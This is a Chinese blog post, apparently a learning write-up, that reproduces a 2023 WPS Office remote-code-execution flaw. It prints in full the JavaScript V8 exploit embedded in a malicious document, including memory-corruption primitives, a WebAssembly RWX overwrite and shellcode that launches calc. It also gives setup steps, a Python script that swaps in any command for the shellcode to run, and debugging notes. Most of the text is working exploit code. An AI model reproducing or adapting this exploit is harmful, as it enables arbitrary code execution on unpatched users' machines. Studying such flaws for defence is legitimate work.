WPS RCE漏洞 学习

发布时间 2023-08-15 14:52:01作者: 迷茫の陈Sir

复现过程

2023 年 HW 出现 WPS 0day POC

image

影响版本:

WPS Office 2023个人版<11.1.0.15120  
WPS Office 2019企业版<11.8.2.12085

简单操作,安装指定版本以下的 wps 版本
image

设置 host 为

127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn

在 poc 目录下打开 cmd,启动简单的 http 服务

python -m SimpleHTTPServer 80

打开 poc 文档即可弹出计算器

image

原理分析

将 poc.docx 解压并搜索 1.html,发现位于./word/webExtensions/webExtension1.xml 中

image

查看 POC 文档,POC 文档是个 html 文件,基本为 JS 代码,并最终执行 shellcode

<script>
if(typeof alert === "undefined"){
    alert = console.log;
}

let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);

function d2u(v) {
    f64[0] = v;
    return u32;
}
function u2d(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64[0];
}

function gc(){ // major
    for (let i = 0; i < 0x10; i++) {
        new Array(0x100000);
    }
}

function foo(bug) {
    function C(z) {
        Error.prepareStackTrace = function(t, B) {
            return B[z].getThis();
        };
        let p = Error().stack;
        Error.prepareStackTrace = null;
        return p;
    }
    function J() {}
    var optim = false;
    var opt = new Function(
        'a', 'b', 'c',
        'if(typeof a===\'number\'){if(a>2){for(var i=0;i<100;i++);return;}b.d(a,b,1);return}' +
        'g++;'.repeat(70));
    var e = null;
    J.prototype.d = new Function(
        'a', 'b', '"use strict";b.a.call(arguments,b);return arguments[a];');
    J.prototype.a = new Function('a', 'a.b(0,a)');
    J.prototype.b = new Function(
        'a', 'b',
        'b.c();if(a){' +
        'g++;'.repeat(70) + '}');
    J.prototype.c = function() {
        if (optim) {
            var z = C(3);
            var p = C(3);
            z[0] = 0;
            e = {M: z, C: p};
        }
    };
    var a = new J();
    // jit optim
    if (bug) {
        for (var V = 0; 1E4 > V; V++) {
            opt(0 == V % 4 ? 1 : 4, a, 1);
        }
    }
    optim = true;
    opt(1, a, 1);
    return e;
}

e1 = foo(false);
e2 = foo(true);

delete e2.M[0];

let hole = e2.C[0];
let map = new Map();
map.set('asd', 8);
map.set(hole, 0x8);

map.delete(hole);
map.delete(hole);
map.delete("asd");

map.set(0x20, "aaaa");
let arr3 = new Array(0);
let arr4 = new Array(0);
let arr5 = new Array(1);
let oob_array = [];
oob_array.push(1.1);
map.set("1", -1);

let obj_array = {
    m: 1337, target: gc
};

let ab = new ArrayBuffer(1337);
let object_idx = undefined;
let object_idx_flag = undefined;

let max_size = 0x1000;
for (let i = 0; i < max_size; i++) {
    if (d2u(oob_array[i])[0] === 0xa72) {
        object_idx = i;
        object_idx_flag = 1;
        break;
    }if (d2u(oob_array[i])[1] === 0xa72) {
        object_idx = i + 1;
        object_idx_flag = 0;
        break;
    }
}

function addrof(obj_para) {
    obj_array.target = obj_para;
    let addr = d2u(oob_array[object_idx])[object_idx_flag] - 1;
    obj_array.target = gc;
    return addr;
}

function fakeobj(addr) {
    let r8 = d2u(oob_array[object_idx]);
    if (object_idx_flag === 0) {
        oob_array[object_idx] = u2d(addr, r8[1]);
    }else {
        oob_array[object_idx] = u2d(r8[0], addr);
    }
    return obj_array.target;
}

let bk_idx = undefined;
let bk_idx_flag = undefined;
for (let i = 0; i < max_size; i++) {
    if (d2u(oob_array[i])[0] === 1337) {
        bk_idx = i;
        bk_idx_flag = 1;
        break;
    }if (d2u(oob_array[i])[1] === 1337) {
        bk_idx = i + 1;
        bk_idx_flag = 0;
        break;
    }
}

let dv = new DataView(ab);
function get_32(addr) {
    let r8 = d2u(oob_array[bk_idx]);
    if (bk_idx_flag === 0) {
        oob_array[bk_idx] = u2d(addr, r8[1]);
    } else {
        oob_array[bk_idx] = u2d(r8[0], addr);
    }
    let val = dv.getUint32(0, true);
    oob_array[bk_idx] = u2d(r8[0], r8[1]);
    return val;
}

function set_32(addr, val) {
    let r8 = d2u(oob_array[bk_idx]);
    if (bk_idx_flag === 0) {
        oob_array[bk_idx] = u2d(addr, r8[1]);
    } else {
        oob_array[bk_idx] = u2d(r8[0], addr);
    }
    dv.setUint32(0, val, true);
    oob_array[bk_idx] = u2d(r8[0], r8[1]);
}

function write8(addr, val) {
    let r8 = d2u(oob_array[bk_idx]);
    if (bk_idx_flag === 0) {
        oob_array[bk_idx] = u2d(addr, r8[1]);
    } else {
        oob_array[bk_idx] = u2d(r8[0], addr);
    }
    dv.setUint8(0, val);
}

let fake_length = get_32(addrof(oob_array)+12);
set_32(get_32(addrof(oob_array)+8)+4,fake_length);

let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;

let target_addr = addrof(wasm_instance)+0x40;
let rwx_mem = get_32(target_addr);
//alert("rwx_mem is"+rwx_mem.toString(16));

const shellcode = new Uint8Array([0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30,0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff,0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52,0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1,0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b,0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03,0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b,0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb,0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f,0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5,0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x00]);

for(let i=0;i<shellcode.length;i++){
    write8(rwx_mem+i,shellcode[i]);
}
f();
</script>

大佬表示一眼出是2021年的 chrome V8引擎 RCE 代码,换了 shellcode,我菜鸡看不出来 o(╥﹏╥)o 后面抽时间学一下

把 shellcode 写到 bin 文件中

import struct
shellcode = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00]
with open(r"shellcode.bin","wb") as fp:
    for x in shellcode:
        s = struct.pack('B',x)
        fp.write(s)
fp.close()

查看可见字符

hexdump -e '16/1 "%02X " "  |  "' -e '16/1 "%_p" "\n"' shellcode.bin

命令解释:

  • -e '16/1 "%02X " " | "':16/1表示每行显示16个字节,"%02X "表示以两个十六进制字符的格式输出字节,并以空格分隔," | "表示在每行的中间以" | "分隔字节。
  • -e '16/1 "%_p" "\n"':16/1表示每行显示16个字节,"%_p"表示以可打印字符的格式输出字节,"\n"表示在每行的最后加上换行符。
FC 48 83 E4 F0 E8 C0 00 00 00 41 51 41 50 52 51  |  .H........AQAPRQ
56 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52  |  VH1.eH.R`H.R.H.R
20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0  |   H.rPH..JJM1.H1.
AC 3C 61 7C 02 2C 20 41 C1 C9 0D 41 01 C1 E2 ED  |  .<a|., A...A....
52 41 51 48 8B 52 20 8B 42 3C 48 01 D0 8B 80 88  |  RAQH.R .B<H.....
00 00 00 48 85 C0 74 67 48 01 D0 50 8B 48 18 44  |  ...H..tgH..P.H.D
8B 40 20 49 01 D0 E3 56 48 FF C9 41 8B 34 88 48  |  .@ I...VH..A.4.H
01 D6 4D 31 C9 48 31 C0 AC 41 C1 C9 0D 41 01 C1  |  ..M1.H1..A...A..
38 E0 75 F1 4C 03 4C 24 08 45 39 D1 75 D8 58 44  |  8.u.L.L$.E9.u.XD
8B 40 24 49 01 D0 66 41 8B 0C 48 44 8B 40 1C 49  |  .@$I..fA..HD.@.I
01 D0 41 8B 04 88 48 01 D0 41 58 41 58 5E 59 5A  |  ..A...H..AXAX^YZ
41 58 41 59 41 5A 48 83 EC 20 41 52 FF E0 58 41  |  AXAYAZH.. AR..XA
59 5A 48 8B 12 E9 57 FF FF FF 5D 48 BA 01 00 00  |  YZH...W...]H....
00 00 00 00 00 48 8D 8D 01 01 00 00 41 BA 31 8B  |  .....H......A.1.
6F 87 FF D5 BB F0 B5 A2 56 41 BA A6 95 BD 9D FF  |  o.......VA......
D5 48 83 C4 28 3C 06 7C 0A 80 FB E0 75 05 BB 47  |  .H..(<.|....u..G
13 72 6F 6A 00 59 41 89 DA FF D5 63 61 6C 63 00  |  .roj.YA....calc.

可以看到以 calc 结尾,弹出计算器的字符串

Dump 下来的 shellcode 是二进制数据块,无法直接运行和调试,可以用 loader 将 shellcode 加载进行动态调试,此处使用 jmp2it.exe,

Jmp2it.exe 的原理传入的参数 1为 shellcode 的路径,用 CreateFile 获取文件句柄,之后使用 CreateFileMapping、MapViewOfFile 映射到自己的内存空间中,再根据参数2偏移量加上 MapViewOfFile 返回的基址获取入口地址,将此地址设为函数指针,在执行此函数前用 EB FE 循环跳转当前指令

C:\Users\win2021ltsc\Desktop>jmp2it.exe shellcode.bin 0x00 pause
** JMP2IT v1.4 - Created by Adam Kramer [2014] - Inspired by Malhost-Setup **
** As requested, the process has been paused **

To proceed with debugging:
1. Load a debugger and attach it to this process
2. If it has paused, instruct it to start running again
3. Pause the process after a few seconds
4. NOP the EF BE infinite loop which you should be on
5. Step to the CALL immediately after and then 'step into' it

 === You will then be at the shellcode ===

使用 x32dbg 附加进程,断在 jmp,把 EB FE 给 nop 掉,后面的 call 就是 shellcode

进入 shellcode(调试遇到异常,后续再看看)

shellcode 的 calc 换成其他命令也可以跑,例如换成 notepad 加上0x00可以弹出记事本

import struct
shellcode_ = [0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30,0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff,0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52,0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1,0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b,0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03,0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b,0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb,0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f,0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5,0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,0x00, 0x53, 0xff, 0xd5]
my_command = 'notepad'
result = [ord(char) for char in my_command]
shellcode_ = shellcode_ + result + [0x00]
with open("notepad.bin","wb") as fp:
    for x in shellcode_:
        s = struct.pack('B',x)
        fp.write(s)
fp.close()

参考链接: